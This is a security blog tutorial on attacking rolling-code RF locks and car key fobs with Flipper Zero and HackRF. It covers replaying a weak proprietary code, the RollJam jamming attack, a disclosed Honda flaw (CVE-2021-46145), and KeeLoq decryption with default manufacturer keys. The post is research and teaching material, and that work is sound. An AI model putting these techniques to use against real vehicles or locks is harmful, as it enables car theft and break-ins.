Grand Theft Auto – RF Locks Hacking Flipper-Zero Edition Part 2
0x00. INTRODUCTION
In Part 1, we explored common methods for hacking fixed-code RF locks, including signal jamming, replay attacks, and brute-force attacks. In Part 2, we will delve into more advanced techniques for hacking the rolling codes of RF locks. This series of articles is designed as a beginner’s guide to RF lock system hacking, utilizing tools such as the Flipper Zero and other RF hacking devices. I hope that each case study will provide valuable insights into the requirements for successfully hacking RF locks.
0x01. PROPRIETARY ENCRYPTION
In Part 1, we focused on RF locks that use fixed codes. These types of locks are inherently vulnerable to replay attacks. One way to mitigate this vulnerability is by implementing a rolling codes mechanism. For example, both the key fob and the car synchronize using the same rolling codes algorithm. As the codes change with each use, predicting the next code in the sequence becomes difficult. The car will only accept commands with valid rolling codes, rendering simple replay attacks ineffective.
When designing a secure cryptosystem, it is generally advised to avoid using untested proprietary encryption algorithms in products. However, there are always some "innovative" individuals who challenge this guideline. For example, consider this commercial RF remote control lock. It boasts advertising claims such as using a "US military grade rolling code" chip. But what could possibly go wrong?
As always, we can use URH with HackRF to capture unlock signals and collect sample data for reverse engineering. To confirm the presence of a rolling codes mechanism, we can start by attempting a replay attack. However, the lock did not respond, confirming that a rolling codes mechanism is indeed in place.
We need to revisit and analyze the unlock samples. For easier comparison, we view the data in Hex mode and decode it using Manchester encoding. We soon discovered some intriguing flaws in the rolling code mechanism: every unlock command only changes randomly at bytes 15, 31, and 47, while all other bytes remain constant. Additionally, the rolling codes revert to an expired command value every 5 to 10 rounds. This suggests that the keyspace of this proprietary rolling code is extremely small, making it unnecessary to use brute-force methods to unlock it.
As demonstrated in the video below, we only need to capture the unlocking command once. Afterward, we can replay it repeatedly until the lock is eventually unlocked.
Additionally, the Flipper Zero allows for manual addition of well-known key fob protocols. For instance, the LiftMaster_315 protocol uses a rolling code mechanism. However, as shown in the pictures below, the counter value and key are predictable. This predictability makes it relatively easy to capture and spoof an unlock command for this system.
0x02. ROLLJAM ATTACK
Fortunately, most car manufacturers avoid using such simplistic designs for car door locks. Instead, they tend to rely on proprietary encryption algorithms. For example, as shown in the picture below, a 2014 Jetta key fob uses Volkswagen’s proprietary algorithms, which remain undisclosed. As a result, the Flipper Zero is unable to recognize or decode it.
Once again, we used URH to analyze the Jetta key fob packets. A helpful feature of URH is the ability to highlight packet sequences in color, which greatly simplifies the analysis process. Each valid command sequence begins with 10101000, highlighted in green as the sync word.
From the 305th to the 312th bit, highlighted in red, are the operation commands. For example, 00011100 is the command to unlock the door, while 00101010 is the command to lock it. The blue section represents the rolling codes, which change with each use.
URH includes a comparison feature, which allows for easy analysis and comparison of the rolling code segments between different commands.
As demonstrated in the video below, because modern cars now implement proprietary rolling code mechanisms, we can only replay the unlock command a single time.
Years ago, security researcher Samy Kamkar developed an idea to manipulate certain rolling code systems, known as the Rolljam Attack. The mechanics of this attack are well-explained in the slides below. Rolljam works by jamming the target's radio signal at a slightly shifted frequency while simultaneously recording the signal using a receiver with a narrow filter bandwidth from the keyfob. Since the first unlock signal is blocked, the car door doesn’t unlock, and the car owner will likely try again. The attacker then records and blocks the second signal, but this time, they also replay the first code to unlock the car door.
As demonstrated in the Rolljam attack video below, HackRF is used as the signal jammer, while Yardstick 1 acts as both the recorder and transmitter.
Since the Rolljam attack requires both a jammer and a recorder to work simultaneously, we can use HackRF and Flipper-Zero as a combination of tools for this attack.
(Source from @takeapart)
0x03. ROLLING-PWN
In 2021, I discovered a highly concerning car lock vulnerability that affected all Honda vehicles on the global market from 2012 to 2023. This flaw allows the replay of previously expired commands in sequence, enabling the car door to be unlocked permanently.
The vulnerability was assigned CVE-2021-46145, and I wrote a dedicated article on this issue, which can be found at https://rollingpwn.github.io/rolling-pwn. Special thanks to researcher Rob Stumpf, who helped verify the bug using his 2021 Honda Accord from the US.
Moreover, Honda officially acknowledged the bug. However, Honda concluded that it poses a low risk to customers and that they regularly improve security features with new models to address this and similar vulnerabilities. Fingers crossed.
In late August 2022, a group of researchers from Singapore presented a talk at Black Hat USA addressing the same issue and discovered that the bug also affected many other car brands. As mentioned in the Rolling-Pwn article, we were aware of this but kept information about other affected brands confidential at the time. We were busy preparing for Geekpwn, a Pwn2Own-style hacker competition, where one of our modern smart car targets was vulnerable to the bug. Fortunately, we secured second runner-up in the competition. As shown in the picture below, we used a high-gain antenna to compromise two different car brands from a considerable distance.
0x04. KEELOQ DECRYPTION
In the world of cryptography, the well-known Kerckhoff's principle states that a cryptosystem should remain secure even if the attacker knows all the details about the system, except for the secret key. However, have you ever wondered what happens if that secret key is leaked by the manufacturer or if a default manufacturer key from the datasheet is used in the final products? Such incidents are not uncommon—remember the MIFARE Crypto1 default key hacks? Let’s take a widely used rolling code algorithm called Keeloq as an example.
KeeLoq is a proprietary cipher owned by Microchip and is widely used in keyfob systems by car manufacturers such as Honda, Toyota, Volvo, Volkswagen Group, and others. If we find an HCS200 or HCS300 series chipset inside the keyfob, it indicates the use of the KeeLoq cipher. In March 2008, researchers from Ruhr University Bochum managed to break the KeeLoq-based cipher using side-channel analysis. By measuring the power consumption of a device during encryption, they were able to extract the manufacturer key from both the receiver and the remote control.
When connecting the HCS201 chip to an oscilloscope or logic analyzer, we can observe KeeLoq's signal waveform. Initially, a preamble appears at the start of the signal, followed by the rolling code, serial number, function code, and status code.
The KeeLoq data structure consists of a total of 66 bits: 32 bits for the rolling code, 28 bits for the serial number, 4 bits for the button function code, and 2 bits for the status code. The encoding method used is Pulse Width Modulation (PWM).
In terms of encryption key generation, Keeloq has three modes: simple, standard and secure. The manufacturer's secret key for simple encryption is the same. For standard encryption, the manufacturer's secret key for each keyfob is unique. Taking standard encryption as an example, assumes that the serial number is 0x1234567. First add 2 as prefix for serial numbers, it become 0x21234567, then encrypted using the manufacturer's secret key to get a 32-bit LSB of 0x89074278. Second add 6 as prefix for serial numbers, it become 0x61234567, again encrypted using the manufacturer's secret key to get the 32 bit MSB 0x0516FBE9. The encryption key to this is 0x0516FBE989074278.
We can use the simulator to demonstrate this in practice. In this example, we set the manufacturer’s secret key to 0123456789ABCDEF, the serial number to 4141410, and the counter starts from 2600.
After analyzing the packets with URH, we can see that the 28-bit serial number is indeed 4141410.
The 32-bits rolling code contains key information such as counters to prevent a replay attack.
As mentioned earlier, if the default manufacturer key is used, we can decrypt the 32-bit rolling codes with the program. You will see the rolling codes in sequence in the decrypted message, which matches the starting value of 2600 that we set earlier.
As you can see the video below, we can spoof a new command to turn on the light.
0x05. SUMMARY
In Part 2, we explored some advanced techniques, such as RollJam, Rolling-PWN, and Keeloq decryption. However, there are many other types of encryption and rolling code algorithms to investigate. Stay tuned.